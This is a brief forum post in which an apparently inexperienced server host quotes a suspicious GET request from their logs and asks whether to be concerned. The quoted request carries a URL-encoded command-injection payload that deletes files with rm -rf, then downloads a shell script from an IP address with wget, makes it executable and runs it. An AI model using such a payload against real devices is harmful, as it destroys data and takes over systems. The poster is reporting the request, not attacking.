Strange get request to my server

I’m very new to hosting and i get a get request like this

GET /goform/webRead/open/?path
=|rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F(ip adress)%2Fbruh
.sh%3B%20chmod%20777%20bruh.sh%3B%20.%2Fbruh.sh 

from the looks for it it looks like someone tried to pull a script via wget and tried to rm rf, should i be concerned ?
